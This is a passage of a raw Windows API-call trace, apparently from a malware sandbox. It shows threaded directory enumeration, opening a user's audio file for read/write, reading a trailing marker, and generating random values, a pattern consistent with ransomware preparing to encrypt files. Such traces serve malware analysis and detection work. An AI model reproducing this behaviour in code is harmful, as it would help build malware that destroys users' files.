ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ced60 [0112.108] wcscmp (_String1=".", _String2=".") returned 0 [0112.108] FindNextFileW (in: hFindFile=0x1b7ced60, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.108] wcscmp (_String1="..", _String2=".") returned 1 [0112.108] wcscmp (_String1="..", _String2="..") returned 0 [0112.108] FindNextFileW (in: hFindFile=0x1b7ced60, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0112.108] wcscmp (_String1="Cartridges", _String2=".") returned 1 [0112.108] wcscmp (_String1="Cartridges", _String2="..") returned 1 [0112.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205d9b0 [0112.108] wcscpy (in: _Dest=0x4205d9b0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" [0112.108] wcscat (in: _Dest=0x4205d9b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0112.108] wcscat (in: _Dest=0x4205d9b0, _Source="Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0150.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205d9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f20 [0150.898] FindNextFileW (in: hFindFile=0x1b7ced60, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a6b00, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x516cf9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150a6b00, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x1663968, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0150.898] wcscmp (_String1="msmdlocal.dll", _String2=".") returned 1 [0150.898] wcscmp (_String1="msmdlocal.dll", _String2="..") returned 1 [0150.898] FindNextFileW (in: hFindFile=0x1b7ced60, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fc50000, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1fc50000, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x82b958, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0150.899] wcscmp (_String1="msmgdsrv.dll", _String2=".") returned 1 [0150.899] wcscmp (_String1="msmgdsrv.dll", _String2="..") returned 1 [0150.899] FindNextFileW (in: hFindFile=0x1b7ced60, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f62d00, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f62d00, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x63bb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0150.899] wcscmp (_String1="msolap100.dll", _String2=".") returned 1 [0150.899] wcscmp (_String1="msolap100.dll", _String2="..") returned 1 [0150.899] FindNextFileW (in: hFindFile=0x1b7ced60, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d94800, ftCreationTime.dwHighDateTime=0x1c8e1e0, ftLastAccessTime.dwLowDateTime=0x516cf9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d94800, ftLastWriteTime.dwHighDateTime=0x1c8e1e0, nFileSizeHigh=0x0, nFileSizeLow=0x43618, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0150.899] wcscmp (_String1="msolui100.dll", _String2=".") returned 1 [0150.899] wcscmp (_String1="msolui100.dll", _String2="..") returned 1 [0150.899] FindNextFileW (in: hFindFile=0x1b7ced60, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0150.899] wcscmp (_String1="Resources", _String2=".") returned 1 [0150.899] wcscmp (_String1="Resources", _String2="..") returned 1 [0150.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b14b0 [0150.899] wcscpy (in: _Dest=0x202b14b0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" [0150.899] wcscat (in: _Dest=0x202b14b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0150.899] wcscat (in: _Dest=0x202b14b0, _Source="Resources" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0150.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202b14b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f8 [0150.901] FindNextFileW (in: hFindFile=0x1b7ced60, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0150.901] FindClose (in: hFindFile=0x1b7ced60 | out: hFindFile=0x1b7ced60) returned 1 [0150.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e200) returned 1 [0150.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c3c0) returned 1 [0150.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c720) returned 1 Thread: id = 1102 os_tid = 0x17e0 [0112.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cf10 [0112.110] wcscpy (in: _Dest=0x4205cf10, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0112.110] wcscat (in: _Dest=0x4205cf10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0112.110] wcscat (in: _Dest=0x4205cf10, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*" [0112.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x202640b0 [0112.110] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x202640b0 | out: lpFindFileData=0x202640b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cebe0 [0112.110] wcscmp (_String1=".", _String2=".") returned 0 [0112.110] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x202640b0 | out: lpFindFileData=0x202640b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.110] wcscmp (_String1="..", _String2=".") returned 1 [0112.110] wcscmp (_String1="..", _String2="..") returned 0 [0112.110] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x202640b0 | out: lpFindFileData=0x202640b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0112.110] wcscmp (_String1="v3.0", _String2=".") returned 1 [0112.110] wcscmp (_String1="v3.0", _String2="..") returned 1 [0112.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205c790 [0112.111] wcscpy (in: _Dest=0x4205c790, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0112.111] wcscat (in: _Dest=0x4205c790, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0112.111] wcscat (in: _Dest=0x4205c790, _Source="v3.0" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0127.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205c790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe24 [0127.189] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x202640b0 | out: lpFindFileData=0x202640b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0127.189] wcscmp (_String1="v3.5", _String2=".") returned 1 [0127.189] wcscmp (_String1="v3.5", _String2="..") returned 1 [0127.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205d910 [0127.189] wcscpy (in: _Dest=0x4205d910, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0127.189] wcscat (in: _Dest=0x4205d910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0127.189] wcscat (in: _Dest=0x4205d910, _Source="v3.5" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0127.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205d910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0127.197] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x202640b0 | out: lpFindFileData=0x202640b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0127.197] FindClose (in: hFindFile=0x1b7cebe0 | out: hFindFile=0x1b7cebe0) returned 1 [0127.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202640b0) returned 1 [0127.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cf10) returned 1 [0127.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad660) returned 1 Thread: id = 1103 os_tid = 0x17e4 [0112.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b7cec40 [0112.112] wcscpy (in: _Dest=0x1b7cec40, _Source="C:\\ProgramData\\Microsoft\\DRM\\Server" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server" [0112.112] wcscat (in: _Dest=0x1b7cec40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server\\") returned="C:\\ProgramData\\Microsoft\\DRM\\Server\\" [0112.112] wcscat (in: _Dest=0x1b7cec40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server\\*") returned="C:\\ProgramData\\Microsoft\\DRM\\Server\\*" [0112.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264320 [0112.112] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c670 [0112.112] wcscmp (_String1=".", _String2=".") returned 0 [0112.112] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.113] wcscmp (_String1="..", _String2=".") returned 1 [0112.113] wcscmp (_String1="..", _String2="..") returned 0 [0112.113] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0112.113] FindClose (in: hFindFile=0x1cd9c670 | out: hFindFile=0x1cd9c670) returned 1 [0112.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264320) returned 1 [0112.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cec40) returned 1 [0112.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 Thread: id = 1104 os_tid = 0x17e8 [0112.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b7cec40 [0112.115] wcscpy (in: _Dest=0x1b7cec40, _Source="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" [0112.115] wcscat (in: _Dest=0x1b7cec40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\" [0112.115] wcscat (in: _Dest=0x1b7cec40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*" [0112.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264320 [0112.115] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c670 [0112.116] wcscmp (_String1=".", _String2=".") returned 0 [0112.116] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.116] wcscmp (_String1="..", _String2=".") returned 1 [0112.116] wcscmp (_String1="..", _String2="..") returned 0 [0112.116] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0112.116] FindClose (in: hFindFile=0x1cd9c670 | out: hFindFile=0x1cd9c670) returned 1 [0112.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264320) returned 1 [0112.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cec40) returned 1 [0112.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86f10) returned 1 Thread: id = 1105 os_tid = 0x17ec [0112.119] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1Qpi.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1qpi.wav")) returned 0x20 [0112.119] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1Qpi.wav", dwFileAttributes=0x20) returned 1 [0112.120] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1Qpi.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1qpi.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe44 [0112.120] GetFileSizeEx (in: hFile=0xe44, lpFileSize=0x34bdfbc0 | out: lpFileSize=0x34bdfbc0*=58675) returned 1 [0112.120] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0xe52f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.120] ReadFile (in: hFile=0xe44, lpBuffer=0x34bdfb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34bdfb88, lpOverlapped=0x0 | out: lpBuffer=0x34bdfb40*, lpNumberOfBytesRead=0x34bdfb88*=0x4, lpOverlapped=0x0) returned 1 [0112.121] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a840 [0112.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a750 [0112.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a330 [0112.121] NtQuerySystemTime (in: CurrentTime=0x34bdfa80 | out: CurrentTime=0x34bdfa80*=132462177175846000) returned 0x0 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x7c790387 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x75609cc7 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x5ab805ef [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x7f0c0daf [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x37efb81 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x3740e3d3 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x1682ecf5 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x4e65f6ce [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x6fab4137 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x5e3c2b65 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x5b382cc [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x1780041f [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x6e205b93 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x3fa16b6d [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x3b144dd6 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x6f9edfa4 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x40fe8174 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x75d1ba70 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x483ac1dc [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x5990c42a [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0xada5a65 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x295986a2 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x6a5d5f22 [0112.121] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x25f569d6 [0112.122] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x49e4ccb4 [0112.122] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x7bfcbc53 [0112.122] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x30bf949 [0112.122] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x6baf52ca [0112.122] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x50228431 [0112.122] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x367c0048 [0112.122] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x2a8bfc1 [0112.122] RtlRandomEx (in: Seed=0x34bdfa70 | out: Seed=0x34bdfa70) returned 0x6a67211 [0112.132] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.132] ReadFile (in: hFile=0xe44, 